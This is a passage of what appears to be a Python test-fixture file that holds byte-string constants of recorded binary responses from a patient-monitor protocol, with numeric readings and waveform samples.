b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_2_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x7f\xef\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_2_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\xde\x00\x04\x00\x07\x00\xd8\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\xce\x00\x03\x00\x00\x0e\x7f\xef\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x00\xb4\x00\x00\x00\x01" \
b"\x00\xae\x08\x11\x00\x0f\x00\xa8\x09\x21\x00\x02\x08\x11\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x80\x10\x0e\x30\x00" \
b"\x0a\x16\x00\x14\x00\x04\x00\x10\x00\x04\x80\x08\x00\x03\x40\x01" \
b"\x00\x02\x80\x04\x00\x05\x40\x02\x09\x8d\x00\x04\x00\x00\x00\x10" \
b"\x09\x24\x00\x04\x00\x02\x01\x02\x09\x27\x00\x10\x00\x0e\x00\x49" \
b"\x00\x49\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00\x09\x96\x00\x02" \
b"\x10\xb2\x09\x45\x00\x02\x02\x44\x09\x11\x00\x02\x00\x02\x09\x40" \
b"\x00\x02\x00\x00\x09\x6f\x00\x0c\xfe\xff\xf0\x00\xfd\x00\x9f\xfb" \
b"\x00\x00\x3f\xff\x09\x64\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01" \
b"\x1f\xdd\x20\xa5\x00\x00\x00\x00\x09\x6a\x00\x04\x1e\xb1\x21\xd1"
# third group of responses
rsp_nu_3_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\x0f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_3_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\x0f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_3_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\x0f\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_3_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x04\x58\x00\x04\x00\x07\x04\x52\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x04\x48\x00\x03\x00\x00\x0e\x7f\xf0\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x04\x2e\x00\x00\x00\x04" \
b"\x04\x28\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x20\x04\x20\x0c" \
b"\x20\x14\x08\x11\x00\x10\x01\xb2\x09\x21\x00\x02\x08\x11\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x80\x10\x0e\x30\x00" \
b"\x0a\x16\x00\x14\x00\x04\x00\x10\x00\x04\x80\x08\x00\x03\x40\x01" \
b"\x00\x02\x80\x04\x00\x05\x40\x02\x09\x8d\x00\x04\x00\x00\x00\x10" \
b"\x09\x24\x00\x04\x00\x02\x01\x01\x09\x27\x00\x10\x00\x0e\x00\x49" \
b"\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00\x09\x96\x00\x02" \
b"\x10\xb2\x09\x45\x00\x02\x02\x40\x09\x11\x00\x02\x00\x02\x09\x40" \
b"\x00\x02\x00\x00\x09\x6f\x00\x0c\xfe\xff\xf0\x00\xfd\x00\x9f\xfb" \
b"\x00\x00\x3f\xff\x09\x64\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01" \
b"\x1f\xad\x20\x75\x00\x00\x00\x00\x09\x6a\x00\x04\x1e\x81\x21\xa1" \
b"\x09\x6e\x01\x06\x01\x01\x04\x00\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa0\x84\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfe\x20\x00\x20\x02\x08\x11\x00\x01\x01\x0a" \
b"\x09\x6e\x01\x06\x01\x3d\x04\x00\x01\x00\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\xa1\x04\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x20\x01\x20\x05\x20\x0b\x20\x11\x07\x8e\x00\x01\x00\x4a" \
b"\x09\x6e\x00\x46\x4b\xb4\x04\x00\x00\x40\x0a\xbd\x0a\xf3\x0b\x25" \
b"\x0b\x53\x0b\x7b\x0b\x9f\x0b\xbd\x0b\xd5\x0b\xe8\x0b\xf6\x0b\xfe" \
b"\x0c\x00\x0b\xfc\x0b\xf3\x0b\xe5\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b" \
b"\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0\x0a\x9d\x0a\x68\x0a\x31\x09\xf9" \
b"\x09\xbf\x09\x85\x09\x4b\x09\x10\x08\xd7"
rsp_wave_3_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x7f\xf8\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x20\x1c\x20\x26\x20\x2f\x20\x38\x20\x42\x20\x4b\x20\x55" \
b"\x20\x5e\x20\x68\x20\x71\x20\x7a\x20\x83\x20\x8d\x20\x96\x20\x9f" \
b"\x20\xa8\x20\xad\x20\xab\x20\xa6\x20\x9e\x20\x95\x20\x8c\x20\x82" \
b"\x20\x78\x20\x6e\x20\x63\x20\x59\x20\x4f\x20\x45\x20\x3a\x20\x30" \
b"\x20\x26\x20\x1c\x20\x12\x20\x08\x1f\xff\x1f\xf7\x1f\xf3\x1f\xf0" \
b"\x1f\xee\x1f\xed\x1f\xed\x1f\xec\x1f\xec\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xee\x1f\xee" \
b"\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x20\x06\x20\x08\x20\x0b\x20\x0e\x20\x10\x20\x13\x20\x17" \
b"\x20\x18\x20\x1a\x20\x1d\x20\x20\x20\x23\x20\x25\x20\x28\x20\x2b" \
b"\x20\x2e\x20\x31\x20\x33\x20\x30\x20\x30\x20\x2d\x20\x2a\x20\x28" \
b"\x20\x26\x20\x22\x20\x1f\x20\x1d\x20\x19\x20\x17\x20\x14\x20\x12" \
b"\x20\x0e\x20\x0c\x20\x0a\x20\x06\x20\x03\x20\x01\x1f\xff\x1f\xfe" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x20\x01\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x20\x15\x20\x1d\x20\x23\x20\x29\x20\x31\x20\x37\x20\x3d" \
b"\x20\x45\x20\x4d\x20\x53\x20\x59\x20\x5f\x20\x67\x20\x6d\x20\x73" \
b"\x20\x79\x20\x7b\x20\x77\x20\x75\x20\x6d\x20\x67\x20\x61\x20\x59" \
b"\x20\x51\x20\x4b\x20\x43\x20\x3b\x20\x35\x20\x2d\x20\x25\x20\x1d" \
b"\x20\x17\x20\x0f\x20\x07\x20\x01\x1f\xfb\x1f\xf5\x1f\xf3\x1f\xf1" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1\x1f\xef" \
